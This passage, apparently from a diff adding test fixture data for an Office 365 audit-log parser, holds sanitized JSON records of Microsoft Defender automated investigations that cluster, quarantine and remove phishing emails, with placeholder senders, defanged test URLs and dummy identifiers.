PM\",\"Urn\":\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"},{\"$id\":\"6\",\"NetworkMessageIds\":[\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"],\"CountByThreatType\":{\"HighConfPhish\":1,\"Phish\":0,\"Malware\":0,\"Spam\":0},\"CountByProtectionStatus\":{\"Blocked\":1},\"CountByDeliveryLocation\":{\"Quarantine\":1},\"Query\":\"( (( (Subject:\\\"subject\\\") ) AND ( (P2SenderDomain:\\\"example.com\\\") ) AND ( (AntispamDirection:\\\"3\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\",\"QueryTime\":\"12/31/2023 11:59:59 PM\",\"MailCount\":1,\"IsVolumeAnamoly\":false,\"ClusterSourceIdentifier\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"ClusterSourceType\":\"Similarity\",\"ClusterQueryStartTime\":\"2023-12-31T23:59:59Z\",\"ClusterQueryEndTime\":\"2023-12-31T23:59:59.0000000Z\",\"ClusterGroup\":\"Subject,P2SenderDomain,AntispamDirection\",\"Type\":\"mailCluster\",\"ClusterBy\":\"Subject;P2SenderDomain;AntispamDirection;ContentType\",\"ClusterByValue\":\"subject;example.com;3;1\",\"QueryStartTime\":\"12/31/2023 11:59:59 PM\",\"Urn\":\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"},{\"$id\":\"7\",\"NetworkMessageIds\":[\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"],\"CountByThreatType\":{\"HighConfPhish\":2,\"Phish\":0,\"Malware\":0,\"Spam\":0},\"CountByProtectionStatus\":{\"Blocked\":2},\"CountByDeliveryLocation\":{\"Quarantine\":2},\"Query\":\"( (( (BodyFingerprintBin1:\\\"5555555555\\\") ) AND ( (SenderIp:\\\"81.2.69.144\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\",\"QueryTime\":\"12/31/2023 11:59:59 PM\",\"MailCount\":2,\"IsVolumeAnamoly\":false,\"ClusterSourceIdentifier\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"ClusterSourceType\":\"Similarity\",\"ClusterQueryStartTime\":\"2023-12-31T23:59:59Z\",\"ClusterQueryEndTime\":\"2023-12-31T23:59:59.0000000Z\",\"ClusterGroup\":\"BodyFingerprintBin1,SenderIp\",\"Type\":\"mailCluster\",\"ClusterBy\":\"BodyFingerprintBin1;SenderIp;ContentType\",\"ClusterByValue\":\"5555555555;81.2.69.144;1\",\"QueryStartTime\":\"12/31/2023 11:59:59 PM\",\"Urn\":\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"},{\"$id\":\"8\",\"NetworkMessageIds\":[\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"],\"CountByThreatType\":{\"HighConfPhish\":1,\"Phish\":0,\"Malware\":0,\"Spam\":0},\"CountByProtectionStatus\":{\"Blocked\":1},\"CountByDeliveryLocation\":{\"Quarantine\":1},\"Query\":\"( (( (Subject:\\\"subject\\\") ) AND ( (SenderIp:\\\"81.2.69.144\\\") ) AND ( (AntispamDirection:\\\"3\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\",\"QueryTime\":\"12/31/2023 11:59:59 PM\",\"MailCount\":1,\"IsVolumeAnamoly\":false,\"ClusterSourceIdentifier\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"ClusterSourceType\":\"Similarity\",\"ClusterQueryStartTime\":\"2023-12-31T23:59:59Z\",\"ClusterQueryEndTime\":\"2023-12-31T23:59:59.0000000Z\",\"ClusterGroup\":\"Subject,SenderIp,AntispamDirection\",\"Type\":\"mailCluster\",\"ClusterBy\":\"Subject;SenderIp;AntispamDirection;ContentType\",\"ClusterByValue\":\"subject;81.2.69.144;3;1\",\"QueryStartTime\":\"12/31/2023 11:59:59 PM\",\"Urn\":\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"},{\"$id\":\"9\",\"NetworkMessageIds\":[\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"],\"CountByThreatType\":{\"HighConfPhish\":86,\"Phish\":0,\"Malware\":0,\"Spam\":18,\"MaliciousUrl\":86},\"CountByProtectionStatus\":{\"Delivered\":0,\"Blocked\":70},\"CountByDeliveryLocation\":{\"Inbox\":0,\"Quarantine\":19,\"Forwarded\":1},\"Query\":\"( ((NormalizedUrl:\\\"https://test.local/-\\\") AND (ContentType: 1)) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\",\"QueryTime\":\"12/31/2023 11:59:59 PM\",\"MailCount\":86,\"IsVolumeAnamoly\":true,\"ClusterSourceIdentifier\":\"https://test.local/-\",\"ClusterSourceType\":\"UrlThreatIndicator\",\"ClusterQueryStartTime\":\"2023-12-31T23:59:59Z\",\"ClusterQueryEndTime\":\"2023-12-31T23:59:59.0000000Z\",\"ClusterGroup\":\"UrlThreatIdentifier\",\"Type\":\"mailCluster\",\"ClusterBy\":\"NormalizedUrl;ContentType\",\"ClusterByValue\":\"https://test.local/-;1\",\"QueryStartTime\":\"12/31/2023 11:59:59 PM\",\"Urn\":\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"}],\"LogCreationTime\":\"2023-12-31T23:59:59.0000000Z\",\"MachineName\":\"ABCDEFGHIJK\",\"SourceTemplateType\":\"Threat_Single\",\"Category\":\"ThreatManagement\",\"SourceAlertType\":\"System\"}", + "DeepLinkUrl": "https://security.microsoft.com/abc-investigation/urn:UrlInvestigation:abcdef1234567890abcdef1234567890", + "Operation": "AirInvestigationData", + "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "EndTimeUtc": "2023-12-31T23:59:59", + "InvestigationId": "urn:UrlInvestigation:abcdef1234567890abcdef1234567890", + "Workload": "AirInvestigation", + "RecordType": 64, + "Version": 1, + "UserId": "AirInvestigation", + "CreationTime": "2023-12-31T23:59:59", + "InvestigationName": "Mail with malicious urls is zapped - urn:UrlInvestigation:abcdef1234567890abcdef1234567890", + "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "UserType": 4, + "RunningTime": "619", + "LastUpdateTimeUtc": "2023-12-31T23:59:59" + } + }, + { + "event": { + "original": "{\"Status\":\"Remediated\",\"StartTimeUtc\":\"2023-12-31T23:59:59\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Actions\":[{\"$id\":\"1\",\"ActionId\":\"urn:EmailZapper:abcdef1234567890abcdef1234567890\",\"InvestigationId\":\"urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\",\"ActionApproval\":\"None\",\"ActionType\":\"EmailRemediation\",\"ActionStatus\":\"Skipped\",\"Entities\":[{\"$id\":\"2\",\"Recipient\":\"user@example.com\",\"Urls\":[\"hxxp://test.local\",\"hxxp://test.local\",\"hxxp://test.local\"],\"Threats\":[\"ZapPhish\",\"HighConfPhish\"],\"Sender\":\"sender@example.com\",\"P1Sender\":\"bounce@example.com\",\"P1SenderDomain\":\"example.com\",\"SenderIP\":\"81.2.69.144\",\"P2Sender\":\"sender@example.com\",\"P2SenderDisplayName\":\"name\",\"P2SenderDomain\":\"example.com\",\"ReceivedDate\":\"2023-12-31T23:59:59\",\"NetworkMessageId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"InternetMessageId\":\"\",\"Subject\":\"subject\",\"DeliveryAction\":\"DeliveredAsSpam\",\"ThreatDetectionMethods\":[\"MLModel\"],\"Language\":\"en\",\"DeliveryLocation\":\"Quarantine\",\"OriginalDeliveryLocation\":\"JunkFolder\",\"AdditionalActionsAndResults\":[\"OriginalDelivery: [N/A]\"],\"Connector\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\",\"AuthDetails\":[{\"Name\":\"SPF\",\"Value\":\"Pass\"},{\"Name\":\"DKIM\",\"Value\":\"Pass\"},{\"Name\":\"DMARC\",\"Value\":\"Pass\"},{\"Name\":\"Comp Auth\",\"Value\":\"pass\"}],\"SystemOverrides\":[],\"Type\":\"mailMessage\",\"Urn\":\"urn:MailEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"}],\"RelatedAlertIds\":[\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"],\"StartTimeUtc\":\"2023-12-31T23:59:59\",\"LastUpdateTimeUtc\":\"2023-12-31T23:59:59.0000000Z\",\"TimestampUtc\":\"2023-12-31T23:59:59\",\"BulkName\":\"Malicious mail is zapped - urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\",\"ResourceIdentifiers\":[{\"$id\":\"3\",\"AadTenantId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Type\":\"AAD\"}],\"PendingType\":\"User\",\"LogCreationTime\":\"2023-12-31T23:59:59.0000000Z\",\"MachineName\":\"ABCDEFGHIJK\",\"Description\":\"For malicious emails,you can move to junk,soft or hard delete from user's mailbox.\"}],\"InvestigationType\":\"ZappedEmailInvestigation\",\"UserKey\":\"AirInvestigation\",\"Data\":\"{\\\"Version\\\":\\\"3.0\\\",\\\"VendorName\\\":\\\"Microsoft\\\",\\\"ProviderName\\\":\\\"OATP\\\",\\\"AlertType\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"StartTimeUtc\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"EndTimeUtc\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"TimeGenerated\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ProcessingEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"Status\\\":\\\"Resolved\\\",\\\"DetectionTechnology\\\":\\\"FingerPrintMatch\\\",\\\"Severity\\\":\\\"Informational\\\",\\\"ConfidenceLevel\\\":\\\"Unknown\\\",\\\"ConfidenceScore\\\":1,\\\"IsIncident\\\":false,\\\"ProviderAlertId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"SystemAlertId\\\":null,\\\"CorrelationKey\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Investigations\\\":[{\\\"$id\\\":\\\"1\\\",\\\"Id\\\":\\\"urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\\\",\\\"InvestigationStatus\\\":\\\"FullyRemediated\\\"}],\\\"InvestigationIds\\\":[\\\"urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\\\"],\\\"Intent\\\":\\\"Probing\\\",\\\"ResourceIdentifiers\\\":[{\\\"$id\\\":\\\"2\\\",\\\"AadTenantId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Type\\\":\\\"AAD\\\"}],\\\"AzureResourceId\\\":null,\\\"WorkspaceId\\\":null,\\\"WorkspaceSubscriptionId\\\":null,\\\"WorkspaceResourceGroup\\\":null,\\\"AgentId\\\":null,\\\"AlertDisplayName\\\":\\\"Email messages removed after delivery​\\\",\\\"Description\\\":\\\"Malicious emails were delivered and later removed -V1.0.0.2\\\",\\\"ExtendedLinks\\\":[{\\\"Href\\\":\\\"https://security.microsoft.com/alerts/dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Category\\\":null,\\\"Label\\\":\\\"alert\\\",\\\"Type\\\":\\\"webLink\\\"}],\\\"Metadata\\\":{\\\"CustomApps\\\":null,\\\"GenericInfo\\\":null},\\\"Entities\\\":[{\\\"$id\\\":\\\"3\\\",\\\"Recipient\\\":\\\"user@example.com\\\",\\\"Urls\\\":[\\\"hxxp://test.local\\\",\\\"hxxp://test.local\\\",\\\"hxxp://test.local\\\"],\\\"Threats\\\":[\\\"ZapPhish\\\",\\\"HighConfPhish\\\"],\\\"Sender\\\":\\\"sender@example.com\\\",\\\"P1Sender\\\":\\\"bounce@example.com\\\",\\\"P1SenderDomain\\\":\\\"example.com\\\",\\\"SenderIP\\\":\\\"81.2.69.144\\\",\\\"P2Sender\\\":\\\"sender@example.com\\\",\\\"P2SenderDisplayName\\\":\\\"name\\\",\\\"P2SenderDomain\\\":\\\"example.com\\\",\\\"ReceivedDate\\\":\\\"2023-12-31T23:59:59\\\",\\\"NetworkMessageId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"InternetMessageId\\\":\\\"\\\",\\\"Subject\\\":\\\"subject\\\",\\\"AntispamDirection\\\":\\\"Inbound\\\",\\\"DeliveryAction\\\":\\\"DeliveredAsSpam\\\",\\\"ThreatDetectionMethods\\\":[\\\"MLModel\\\"],\\\"Language\\\":\\\"en\\\",\\\"DeliveryLocation\\\":\\\"Quarantine\\\",\\\"OriginalDeliveryLocation\\\":\\\"JunkFolder\\\",\\\"AdditionalActionsAndResults\\\":[\\\"OriginalDelivery: [N/A]\\\"],\\\"Connector\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\\\",\\\"AuthDetails\\\":[{\\\"Name\\\":\\\"SPF\\\",\\\"Value\\\":\\\"Pass\\\"},{\\\"Name\\\":\\\"DKIM\\\",\\\"Value\\\":\\\"Pass\\\"},{\\\"Name\\\":\\\"DMARC\\\",\\\"Value\\\":\\\"Pass\\\"},{\\\"Name\\\":\\\"Comp Auth\\\",\\\"Value\\\":\\\"pass\\\"}],\\\"SystemOverrides\\\":[],\\\"Type\\\":\\\"mailMessage\\\",\\\"Urn\\\":\\\"urn:MailEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"4\\\",\\\"Address\\\":\\\"81.2.69.144\\\",\\\"Type\\\":\\\"ip\\\",\\\"Urn\\\":\\\"urn:IPEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"5\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":1,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":1},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":1},\\\"Query\\\":\\\"( (( (BodyFingerprintBin1:\\\\\\\"5555555555\\\\\\\") ) AND ( (P2SenderDomain:\\\\\\\"example.com\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":1,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"BodyFingerprintBin1,P2SenderDomain\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"BodyFingerprintBin1;P2SenderDomain;ContentType\\\",\\\"ClusterByValue\\\":\\\"5555555555;example.com;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"6\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":1,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":1},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":1},\\\"Query\\\":\\\"( (( (BodyFingerprintBin1:\\\\\\\"5555555555\\\\\\\") ) AND ( (SenderIp:\\\\\\\"81.2.69.144\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":1,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"BodyFingerprintBin1,SenderIp\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"BodyFingerprintBin1;SenderIp;ContentType\\\",\\\"ClusterByValue\\\":\\\"5555555555;81.2.69.144;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"7\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":1,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":1},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":1},\\\"Query\\\":\\\"( (( (Subject:\\\\\\\"subject\\\\\\\") ) AND ( (SenderIp:\\\\\\\"81.2.69.144\\\\\\\") ) AND ( (AntispamDirection:\\\\\\\"1\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":1,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"Subject,SenderIp,AntispamDirection\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"Subject;SenderIp;AntispamDirection;ContentType\\\",\\\"ClusterByValue\\\":\\\"subject;81.2.69.144;1;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"8\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":1,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":1},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":1},\\\"Query\\\":\\\"( (( (Subject:\\\\\\\"subject\\\\\\\") ) AND ( (P2SenderDomain:\\\\\\\"example.com\\\\\\\") ) AND ( (AntispamDirection:\\\\\\\"1\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":1,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"Subject,P2SenderDomain,AntispamDirection\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"Subject;P2SenderDomain;AntispamDirection;ContentType\\\",\\\"ClusterByValue\\\":\\\"subject;example.com;1;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"}],\\\"LogCreationTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"MachineName\\\":\\\"ABCDEFGHIJK\\\",\\\"SourceTemplateType\\\":\\\"Threat_Single\\\",\\\"Category\\\":\\\"ThreatManagement\\\",\\\"SourceAlertType\\\":\\\"System\\\"}\",\"DeepLinkUrl\":\"https://security.microsoft.com/abc-investigation/urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"AirInvestigationData\",\"InvestigationId\":\"urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\",\"EndTimeUtc\":\"2023-12-31T23:59:59\",\"Workload\":\"AirInvestigation\",\"RecordType\":64,\"Version\":1,\"UserId\":\"AirInvestigation\",\"CreationTime\":\"2023-12-31T23:59:59\",\"InvestigationName\":\"Malicious mail is zapped - urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4,\"RunningTime\":\"2314\",\"LastUpdateTimeUtc\":\"2023-12-31T23:59:59\"}" + }, + "o365audit": { + "Status": "Remediated", + "StartTimeUtc": "2023-12-31T23:59:59", + "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Actions": [ + { + "$id": "1", + "ActionId": "urn:EmailZapper:abcdef1234567890abcdef1234567890", + "InvestigationId": "urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890", + "ActionApproval": "None", + "ActionType": "EmailRemediation", + "ActionStatus": "Skipped", + "Entities": [ + { + "$id": "2", + "Recipient": "user@example.com", + "Urls": [ + "hxxp://test.local", + "hxxp://test.local", + "hxxp://test.local" + ], + "Threats": [ + "ZapPhish", + "HighConfPhish" + ], + "Sender": "sender@example.com", + "P1Sender": "bounce@example.com", + "P1SenderDomain": "example.com", + "SenderIP": "81.2.69.144", + "P2Sender": "sender@example.com", + "P2SenderDisplayName": "name", + "P2SenderDomain": "example.com", + "ReceivedDate": "2023-12-31T23:59:59", + "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "InternetMessageId": "", + "Subject": "subject", + "DeliveryAction": "DeliveredAsSpam", + "ThreatDetectionMethods": [ + "MLModel" + ], + "Language": "en", + "DeliveryLocation": "Quarantine", + "OriginalDeliveryLocation": "JunkFolder", + "AdditionalActionsAndResults": [ + "OriginalDelivery: [N/A]" + ], + "Connector": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]", + "AuthDetails": [ + { + "Name": "SPF", + "Value": "Pass" + }, + { + "Name": "DKIM", + "Value": "Pass" + }, + { + "Name": "DMARC", + "Value": "Pass" + }, + { + "Name": "Comp Auth", + "Value": "pass" + } + ], + "SystemOverrides": [], + "Type": "mailMessage", + "Urn": "urn:MailEntity:abcdef1234567890abcdef1234567890", + "Source": "OATP", + "FirstSeen": "2023-12-31T23:59:59" + } + ], + "RelatedAlertIds": [ + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + ], + "StartTimeUtc": "2023-12-31T23:59:59", + "LastUpdateTimeUtc": "2023-12-31T23:59:59.0000000Z", + "TimestampUtc": "2023-12-31T23:59:59", + "BulkName": "Malicious mail is zapped - urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890", + "ResourceIdentifiers": [ + { + "$id": "3", + "AadTenantId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Type": "AAD" + } + ], + "PendingType": "User", + "LogCreationTime": "2023-12-31T23:59:59.0000000Z", + "MachineName": "ABCDEFGHIJK", + "Description": "For malicious emails,you can move to junk,soft or hard delete from user's mailbox." + } + ], + "InvestigationType": "ZappedEmailInvestigation", + "UserKey": "AirInvestigation", + "Data": "{\"Version\":\"3.0\",\"VendorName\":\"Microsoft\",\"ProviderName\":\"OATP\",\"AlertType\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"StartTimeUtc\":\"2023-12-31T23:59:59.0000000Z\",\"EndTimeUtc\":\"2023-12-31T23:59:59.0000000Z\",\"TimeGenerated\":\"2023-12-31T23:59:59.0000000Z\",\"ProcessingEndTime\":\"2023-12-31T23:59:59.0000000Z\",\"Status\":\"Resolved\",\"DetectionTechnology\":\"FingerPrintMatch\",\"Severity\":\"Informational\",\"ConfidenceLevel\":\"Unknown\",\"ConfidenceScore\":1,\"IsIncident\":false,\"ProviderAlertId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"SystemAlertId\":null,\"CorrelationKey\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Investigations\":[{\"$id\":\"1\",\"Id\":\"urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\",\"InvestigationStatus\":\"FullyRemediated\"}],\"InvestigationIds\":[\"urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\"],\"Intent\":\"Probing\",\"ResourceIdentifiers\":[{\"$id\":\"2\",\"AadTenantId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Type\":\"AAD\"}],\"AzureResourceId\":null,\"WorkspaceId\":null,\"WorkspaceSubscriptionId\":null,\"WorkspaceResourceGroup\":null,\"AgentId\":null,\"AlertDisplayName\":\"Email messages removed after delivery​\",\"Description\":\"Malicious emails were delivered and later removed -V1.0.0.2\",\"ExtendedLinks\":[{\"Href\":\"https://security.microsoft.com/alerts/dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Category\":null,\"Label\":\"alert\",\"Type\":\"webLink\"}],\"Metadata\":{\"CustomApps\":null,\"GenericInfo\":null},\"Entities\":[{\"$id\":\"3\",\"Recipient\":\"user@example.com\",\"Urls\":[\"hxxp://test.local\",\"hxxp://test.local\",\"hxxp://test.local\"],\"Threats\":[\"ZapPhish\",\"HighConfPhish\"],\"Sender\":\"sender@example.com\",\"P1Sender\":\"bounce@example.com\",\"P1SenderDomain\":\"example.com\",\"SenderIP\":\"81.2.69.144\",\"P2Sender\":\"sender@example.com\",\"P2SenderDisplayName\":\"name\",\"P2SenderDomain\":\"example.com\",\"ReceivedDate\":\"2023-12-31T23:59:59\",\"NetworkMessageId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"InternetMessageId\":\"\",\"Subject\":\"subject\",\"AntispamDirection\":\"Inbound\",\"DeliveryAction\":\"DeliveredAsSpam\",\"ThreatDetectionMethods\":[\"MLModel\"],\"Language\":\"en\",\"DeliveryLocation\":\"Quarantine\",\"OriginalDeliveryLocation\":\"JunkFolder\",\"AdditionalActionsAndResults\":[\"OriginalDelivery: [N/A]\"],\"Connector\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from 